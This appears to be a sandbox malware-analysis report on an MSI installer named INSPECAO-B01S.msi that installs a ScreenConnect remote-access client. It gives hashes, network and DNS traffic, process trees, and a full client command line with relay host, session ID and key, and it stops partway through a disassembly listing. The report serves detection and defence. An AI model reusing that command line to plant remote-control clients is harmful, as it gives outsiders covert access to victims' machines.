                                                                                        File Type:Composite Document File V2 Document, Cannot read section info
                                                                                        Category:dropped
                                                                                        Size (bytes):32768
                                                                                        Entropy (8bit):1.4137977574438754
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:J4bu31veFXJZT50UuN+nyqcq56AduNSi4+idRxNLr7Qn3wiz2+Oo8rGAduNSIDM/:abXBTOjWHpofedh/+/z
                                                                                        MD5:D7A8BD7E8363A57F97A78BB4BCB01E87
                                                                                        SHA1:BC3EDA6B698031DCE784EBBCA78A5E5BC1B9384E
                                                                                        SHA-256:B421E43CE814FDF645C7C0B8B0C5D47171B9445F65230AB7602C55F66870017C
                                                                                        SHA-512:9EA55CE97B36280E92BD851E87517DC760E9202CB8613097267BBFB47F008D1119F4D6D6E82EC22B74AA58C07C1B03774C11BD50CD99CA6D0C92AC621F1AA523
                                                                                        Malicious:false
                                                                                        Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Temp\~DFDB40267D9917BE80.TMP

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:Composite Document File V2 Document, Cannot read section info
                                                                                        Category:dropped
                                                                                        Size (bytes):32768
                                                                                        Entropy (8bit):1.4137977574438754
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:J4bu31veFXJZT50UuN+nyqcq56AduNSi4+idRxNLr7Qn3wiz2+Oo8rGAduNSIDM/:abXBTOjWHpofedh/+/z
                                                                                        MD5:D7A8BD7E8363A57F97A78BB4BCB01E87
                                                                                        SHA1:BC3EDA6B698031DCE784EBBCA78A5E5BC1B9384E
                                                                                        SHA-256:B421E43CE814FDF645C7C0B8B0C5D47171B9445F65230AB7602C55F66870017C
                                                                                        SHA-512:9EA55CE97B36280E92BD851E87517DC760E9202CB8613097267BBFB47F008D1119F4D6D6E82EC22B74AA58C07C1B03774C11BD50CD99CA6D0C92AC621F1AA523
                                                                                        Malicious:false
                                                                                        Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        Static File Info

                                                                                        General

                                                                                        File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Default, Author: ScreenConnect Software, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {87BA6F17-ED48-2213-B0B4-DE77D334918D}, Create Time/Date: Wed May 29 14:47:46 2024, Last Saved Time/Date: Wed May 29 14:47:46 2024, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2
                                                                                        Entropy (8bit):7.949102976609468
                                                                                        TrID:
                                                                                        • Microsoft Windows Installer (60509/1) 57.88%
                                                                                        • ClickyMouse macro set (36024/1) 34.46%
                                                                                        • Generic OLE2 / Multistream Compound File (8008/1) 7.66%
                                                                                        File name:INSPECAO-B01S.msi
                                                                                        File size:8'249'344 bytes
                                                                                        MD5:a41d8aa583e034822c084a74eac45268
                                                                                        SHA1:03e24d97759f550f5b261e552e7321db478c2ff6
                                                                                        SHA256:7a004abae96e562926d9af1cf9e323de387923c24a0a6779d343b64537c4cc1b
                                                                                        SHA512:71c801134371ad7458e1bc023fb6f50b3aa01116b9316944d491254db29ba811b855ec194810320b5b106701234d207d31a264f15a3d73305792f22ca49fd1b0
                                                                                        SSDEEP:98304:gEnXkHywo+EVhaecMUzG4uc96ob2KEnXkHywo+EVhaecMUCEnXkHywo+EVhaecMk:rZs6Uruc9XboZs6UJZs6UgZs6U
                                                                                        TLSH:E586222133E88928E1B34B3AEC7655B4493ABD55EF22C16F63647D0D2931FC099A2737
                                                                                        File Content Preview:........................>......................................................................................................................................................................................................................................

                                                                                        File Icon

                                                                                        Icon Hash:2d2e3797b32b2b99

                                                                                        Network Behavior

                                                                                        Network Port Distribution

                                                                                        TCP Packets

                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                        Oct 27, 2024 12:01:12.832295895 CET49730443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:12.832340002 CET44349730147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:12.832576990 CET49730443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:13.761681080 CET49730443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:13.761707067 CET44349730147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:13.761845112 CET44349730147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:15.870449066 CET49733443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:15.870536089 CET44349733147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:15.870640039 CET49733443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:15.873482943 CET49733443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:15.873523951 CET44349733147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:15.873625994 CET44349733147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:18.752674103 CET49735443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:18.752720118 CET44349735147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:18.752801895 CET49735443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:18.754951000 CET49735443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:18.754992962 CET44349735147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:18.755050898 CET44349735147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:22.808455944 CET49738443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:22.808501959 CET44349738147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:22.808573961 CET49738443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:22.811378002 CET49738443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:22.811389923 CET44349738147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:22.811436892 CET44349738147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:28.736232042 CET49745443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:28.736320972 CET44349745147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:28.736438036 CET49745443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:28.738903999 CET49745443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:28.738929033 CET44349745147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:28.739025116 CET44349745147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:39.034743071 CET49746443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:39.034835100 CET44349746147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:39.034926891 CET49746443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:39.037749052 CET49746443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:39.037831068 CET44349746147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:39.037911892 CET44349746147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:57.251140118 CET49747443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:57.251208067 CET44349747147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:57.251327038 CET49747443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:57.253959894 CET49747443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:01:57.253981113 CET44349747147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:01:57.254112005 CET44349747147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:02:19.281429052 CET49820443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:02:19.281542063 CET44349820147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:02:19.281632900 CET49820443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:02:19.283951998 CET49820443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:02:19.283993006 CET44349820147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:02:19.284070015 CET44349820147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:02:58.010237932 CET50015443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:02:58.010324001 CET44350015147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:02:58.010631084 CET50015443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:02:58.012572050 CET50015443192.168.2.4147.75.63.168
                                                                                        Oct 27, 2024 12:02:58.012656927 CET44350015147.75.63.168192.168.2.4
                                                                                        Oct 27, 2024 12:02:58.012701035 CET44350015147.75.63.168192.168.2.4

                                                                                        UDP Packets

                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                        Oct 27, 2024 12:01:12.271295071 CET5888353192.168.2.41.1.1.1
                                                                                        Oct 27, 2024 12:01:12.632977962 CET53588831.1.1.1192.168.2.4
                                                                                        Oct 27, 2024 12:01:57.212277889 CET6330353192.168.2.41.1.1.1
                                                                                        Oct 27, 2024 12:01:57.236401081 CET53633031.1.1.1192.168.2.4
                                                                                        Oct 27, 2024 12:02:57.973961115 CET5014353192.168.2.41.1.1.1
                                                                                        Oct 27, 2024 12:02:58.000051022 CET53501431.1.1.1192.168.2.4

                                                                                        DNS Queries

                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                        Oct 27, 2024 12:01:12.271295071 CET192.168.2.41.1.1.10xd98bStandard query (0)instance-xkznvd-relay.screenconnect.comA (IP address)IN (0x0001)false
                                                                                        Oct 27, 2024 12:01:57.212277889 CET192.168.2.41.1.1.10x217cStandard query (0)instance-xkznvd-relay.screenconnect.comA (IP address)IN (0x0001)false
                                                                                        Oct 27, 2024 12:02:57.973961115 CET192.168.2.41.1.1.10xd70dStandard query (0)instance-xkznvd-relay.screenconnect.comA (IP address)IN (0x0001)false

                                                                                        DNS Answers

                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                        Oct 27, 2024 12:01:12.632977962 CET1.1.1.1192.168.2.40xd98bNo error (0)instance-xkznvd-relay.screenconnect.comserver-nix9656e2a4-relay.screenconnect.comCNAME (Canonical name)IN (0x0001)false
                                                                                        Oct 27, 2024 12:01:12.632977962 CET1.1.1.1192.168.2.40xd98bNo error (0)server-nix9656e2a4-relay.screenconnect.com147.75.63.168A (IP address)IN (0x0001)false
                                                                                        Oct 27, 2024 12:01:57.236401081 CET1.1.1.1192.168.2.40x217cNo error (0)instance-xkznvd-relay.screenconnect.comserver-nix9656e2a4-relay.screenconnect.comCNAME (Canonical name)IN (0x0001)false
                                                                                        Oct 27, 2024 12:01:57.236401081 CET1.1.1.1192.168.2.40x217cNo error (0)server-nix9656e2a4-relay.screenconnect.com147.75.63.168A (IP address)IN (0x0001)false
                                                                                        Oct 27, 2024 12:02:58.000051022 CET1.1.1.1192.168.2.40xd70dNo error (0)instance-xkznvd-relay.screenconnect.comserver-nix9656e2a4-relay.screenconnect.comCNAME (Canonical name)IN (0x0001)false
                                                                                        Oct 27, 2024 12:02:58.000051022 CET1.1.1.1192.168.2.40xd70dNo error (0)server-nix9656e2a4-relay.screenconnect.com147.75.63.168A (IP address)IN (0x0001)false

                                                                                        Statistics

                                                                                        CPU Usage

                                                                                        Click to jump to process

                                                                                        Memory Usage

                                                                                        Click to jump to process

                                                                                        High Level Behavior Distribution

                                                                                        Click to dive into process behavior distribution

                                                                                        Behavior

                                                                                        Click to jump to process

                                                                                        System Behavior

                                                                                        General

                                                                                        Target ID:0
                                                                                        Start time:07:01:06
                                                                                        Start date:27/10/2024
                                                                                        Path:C:\Windows\System32\msiexec.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\INSPECAO-B01S.msi"
                                                                                        Imagebase:0x7ff6c5300000
                                                                                        File size:69'632 bytes
                                                                                        MD5 hash:E5DA170027542E25EDE42FC54C929077
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:1
                                                                                        Start time:07:01:07
                                                                                        Start date:27/10/2024
                                                                                        Path:C:\Windows\System32\msiexec.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\system32\msiexec.exe /V
                                                                                        Imagebase:0x7ff6c5300000
                                                                                        File size:69'632 bytes
                                                                                        MD5 hash:E5DA170027542E25EDE42FC54C929077
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high
                                                                                        Has exited:false

                                                                                        General

                                                                                        Target ID:2
                                                                                        Start time:07:01:07
                                                                                        Start date:27/10/2024
                                                                                        Path:C:\Windows\SysWOW64\msiexec.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:C:\Windows\syswow64\MsiExec.exe -Embedding 3B0D9CA4E13447273575F5AF2A2A458A C
                                                                                        Imagebase:0xf70000
                                                                                        File size:59'904 bytes
                                                                                        MD5 hash:9D09DC1EDA745A5F87553048E57620CF
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:3
                                                                                        Start time:07:01:07
                                                                                        Start date:27/10/2024
                                                                                        Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIBC6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4983906 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                                                        Imagebase:0xad0000
                                                                                        File size:61'440 bytes
                                                                                        MD5 hash:889B99C52A60DD49227C5E485A016679
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:4
                                                                                        Start time:07:01:09
                                                                                        Start date:27/10/2024
                                                                                        Path:C:\Windows\SysWOW64\msiexec.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:C:\Windows\syswow64\MsiExec.exe -Embedding 9498291156A768CDF30C7CBD1AD63E0B
                                                                                        Imagebase:0xf70000
                                                                                        File size:59'904 bytes
                                                                                        MD5 hash:9D09DC1EDA745A5F87553048E57620CF
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:5
                                                                                        Start time:07:01:10
                                                                                        Start date:27/10/2024
                                                                                        Path:C:\Windows\SysWOW64\msiexec.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:C:\Windows\syswow64\MsiExec.exe -Embedding A9BFA3C15C3C22AD10EB69C2707C2272 E Global\MSI0000
                                                                                        Imagebase:0xf70000
                                                                                        File size:59'904 bytes
                                                                                        MD5 hash:9D09DC1EDA745A5F87553048E57620CF
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:6
                                                                                        Start time:07:01:10
                                                                                        Start date:27/10/2024
                                                                                        Path:C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:"C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-xkznvd-relay.screenconnect.com&p=443&s=e3b17808-f02f-4082-a0ad-0ef89097505d&k=BgIAAACkAABSU0ExAAgAAAEAAQBhw2Nfb6ZuPKlEDIhhDVtAYuyd858SiHfXVlo7oudUHFIakFl%2fPS5vluFfI688c%2ffI5cXvCjgFShXpqsjscRe%2bvZHKSRm%2bteuE97Q6NBZ5oegi61HDzK9%2bJY6drnQvjn5O3W4R13ZtTHxRqVi92KIEihsQur1J2%2fL4Cjo7mR%2bTf3z2FvvhBA9AI44ir3hX7T6YCeKwSXIGWSjwulU6qmSUa0YOa6ak5ubRKh%2fug0gS3wbeTgSuaLTj1hdcHea2xRvqMqyIWF1MOawExDdmH4KtYMuNWGxsLao6ChTQtObulDnOQ2rzUTbk681GAIKtEvzer9DayT7dfK5gHsogR7Cx&c=envioparaiba20%2f10&c=&c=&c=&c=&c=&c=&c="
                                                                                        Imagebase:0xea0000
                                                                                        File size:95'520 bytes
                                                                                        MD5 hash:826314610D9E854477B08666330940B5
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Antivirus matches:
                                                                                        • Detection: 0%, ReversingLabs
                                                                                        Reputation:moderate
                                                                                        Has exited:false

                                                                                        General

                                                                                        Target ID:7
                                                                                        Start time:07:01:11
                                                                                        Start date:27/10/2024
                                                                                        Path:C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:"C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe" "RunRole" "fedb95f0-928e-4923-97ab-510c95cfca5c" "User"
                                                                                        Imagebase:0x40000
                                                                                        File size:598'816 bytes
                                                                                        MD5 hash:AB5FA8D90645878D587F386D0E276C02
                                                                                        Has elevated privileges:false
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000007.00000000.1732916566.0000000000042000.00000002.00000001.01000000.00000010.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000007.00000002.2940786358.0000000002381000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe, Author: Joe Security
                                                                                        Antivirus matches:
                                                                                        • Detection: 0%, ReversingLabs
                                                                                        Reputation:moderate
                                                                                        Has exited:false

                                                                                        General

                                                                                        Target ID:8
                                                                                        Start time:07:01:13
                                                                                        Start date:27/10/2024
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                        Imagebase:0x7ff6eef20000
                                                                                        File size:55'320 bytes
                                                                                        MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high
                                                                                        Has exited:false

                                                                                        General

                                                                                        Target ID:12
                                                                                        Start time:07:01:51
                                                                                        Start date:27/10/2024
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                        Imagebase:0x7ff6eef20000
                                                                                        File size:55'320 bytes
                                                                                        MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high
                                                                                        Has exited:false

                                                                                        Disassembly

                                                                                        Reset < >

                                                                                          Executed Functions

                                                                                          Function 06E31630 Relevance: 2.7, Strings: 2, Instructions: 157COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: $^q$$^q
                                                                                          • API String ID: 0-355816377
                                                                                          • Opcode ID: 2d5b2db20cd6cdcaed77b11f53ce3c3d6e511a591abe07acb0bbe538d57bfaf5
                                                                                          • Instruction ID: 02c0f27ad2c23539bebaa8d0a2f4bae613c90b1843fe101ea7316c2f858423ef
                                                                                          • Opcode Fuzzy Hash: 2d5b2db20cd6cdcaed77b11f53ce3c3d6e511a591abe07acb0bbe538d57bfaf5
                                                                                          • Instruction Fuzzy Hash: A9510435B003199FC754DFB8D8446EE7BF6AFC9250B18802AE814DB364DA319C02CBA1
                                                                                          Function 06E328B4 Relevance: 2.6, Strings: 2, Instructions: 135COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: (bq$LR^q
                                                                                          • API String ID: 0-516514815
                                                                                          • Opcode ID: e71f897a0d562d2c8266aad9b61dfa03ffe348bab273e6446a742642440fded0
                                                                                          • Instruction ID: ae76bd090c21d39adf50f38058752349ee526eafd64af769b45d3b09314b9d48
                                                                                          • Opcode Fuzzy Hash: e71f897a0d562d2c8266aad9b61dfa03ffe348bab273e6446a742642440fded0
                                                                                          • Instruction Fuzzy Hash: 0D410430B003245FEB48AB78985877E7AABFFC5204F148869E506DB394DE35DD46CB91
                                                                                          Function 06E35040 Relevance: 2.6, Strings: 2, Instructions: 98COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: $^q$$^q
                                                                                          • API String ID: 0-355816377
                                                                                          • Opcode ID: a6acddd909ed8ec7addd3b9f9b297767c6744fb212f2931e7d0c326b7a857adb
                                                                                          • Instruction ID: eecd9f82ae9e8541ae168d9db8fa889f9aa28517acbaf444da61424c8170d274
                                                                                          • Opcode Fuzzy Hash: a6acddd909ed8ec7addd3b9f9b297767c6744fb212f2931e7d0c326b7a857adb
                                                                                          • Instruction Fuzzy Hash: 1C31A234E00218DFDB589F79D9487AE7BF2BF88704F148429E802AB395DF719845CB91
                                                                                          Function 06E36478 Relevance: 1.5, Strings: 1, Instructions: 236COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: LR^q
                                                                                          • API String ID: 0-2625958711
                                                                                          • Opcode ID: 9d5a28e3b5421e616546d25a0ec432164fa0b97b0de80740dafa70903292619e
                                                                                          • Instruction ID: be0f721358ff09e0eb4794c0a7ec682bd7ad9e44dd46fe495d583ff8761529dd
                                                                                          • Opcode Fuzzy Hash: 9d5a28e3b5421e616546d25a0ec432164fa0b97b0de80740dafa70903292619e
                                                                                          • Instruction Fuzzy Hash: BC81BC30E11325AFDB549F75D868BAEBBF2BF84704F108929E4069B291DF749C46CB81
                                                                                          Function 06E31080 Relevance: 1.5, Strings: 1, Instructions: 212COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: (bq
                                                                                          • API String ID: 0-149360118
                                                                                          • Opcode ID: 9a2ce6a1c60ad689c30af7324cb933bf35d7acc969dfb3cc4d47a16f989151f3
                                                                                          • Instruction ID: 6d78cd68037a0d7b4a64721b39b35a8e49c59c3d76b0d2d0c227e31e8cb7f790
                                                                                          • Opcode Fuzzy Hash: 9a2ce6a1c60ad689c30af7324cb933bf35d7acc969dfb3cc4d47a16f989151f3
                                                                                          • Instruction Fuzzy Hash: 7D71D431F003249FDB449BB9C9586AEB6A7BFC8310F158429E406EB3A4DE75DC42CB91
                                                                                          Function 06E30C1C Relevance: 1.4, Strings: 1, Instructions: 159COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: (bq
                                                                                          • API String ID: 0-149360118
                                                                                          • Opcode ID: d6109f1e1e3592abaa25103e82064329e8b59935f5f2714d73319113f5b5c11e
                                                                                          • Instruction ID: c7174f90ee826daf0e7bd209491f9d15e7bf71ce579d6db7af50077a6b5d49ee
                                                                                          • Opcode Fuzzy Hash: d6109f1e1e3592abaa25103e82064329e8b59935f5f2714d73319113f5b5c11e
                                                                                          • Instruction Fuzzy Hash: 78510530A04364AFEB549B6899187FE7FB6EF89310F14546ED506E7381CE758C06CB91
                                                                                          Function 06E30E8C Relevance: 1.4, Strings: 1, Instructions: 153COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: (bq
                                                                                          • API String ID: 0-149360118
                                                                                          • Opcode ID: e96d37f3c700dc6c26eac8ec3b8caded051ff9cb169b8b3851be073b4e663b30
                                                                                          • Instruction ID: d5a2797793a3b906c5a074220debfe3cf5ca90cf0893c8f0363374870acf07ac
                                                                                          • Opcode Fuzzy Hash: e96d37f3c700dc6c26eac8ec3b8caded051ff9cb169b8b3851be073b4e663b30
                                                                                          • Instruction Fuzzy Hash: FB413B31B002245FE798AA6D98687BE7B9ADFC4210F10943DD606EB380CE359D0AC7D1
                                                                                          Function 06E328C4 Relevance: 1.4, Strings: 1, Instructions: 145COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: (bq
                                                                                          • API String ID: 0-149360118
                                                                                          • Opcode ID: c36b2f1199a4b9fb2dd152762877413dea2ffccc3c86e6eb3b635f3dacb901ba
                                                                                          • Instruction ID: 220dbcce66df75a5a98c58080f7832c992c881d1aa42178ff7213eec1b62806c
                                                                                          • Opcode Fuzzy Hash: c36b2f1199a4b9fb2dd152762877413dea2ffccc3c86e6eb3b635f3dacb901ba
                                                                                          • Instruction Fuzzy Hash: F5412731B04324AFE798AB68D8587BE7BA6EFC8320F149029D40A97381DF759C42C794
                                                                                          Function 06E32CE0 Relevance: 1.3, Strings: 1, Instructions: 87COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: LR^q
                                                                                          • API String ID: 0-2625958711
                                                                                          • Opcode ID: 0c6e88c4f62ab935b0f8e9ae0bcb7e380e56e2628a812a877c919d5ecb33aa58
                                                                                          • Instruction ID: f26eececcbd103c2b5889e7b909bb934d235571d1ca6c9b07b86eef380917b08
                                                                                          • Opcode Fuzzy Hash: 0c6e88c4f62ab935b0f8e9ae0bcb7e380e56e2628a812a877c919d5ecb33aa58
                                                                                          • Instruction Fuzzy Hash: 9C21E231B003255FDB98DA389C4877F76ABBFC4204F54546DE646CB294EB349A01CB91
                                                                                          Function 06E389C0 Relevance: 1.3, Strings: 1, Instructions: 78COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
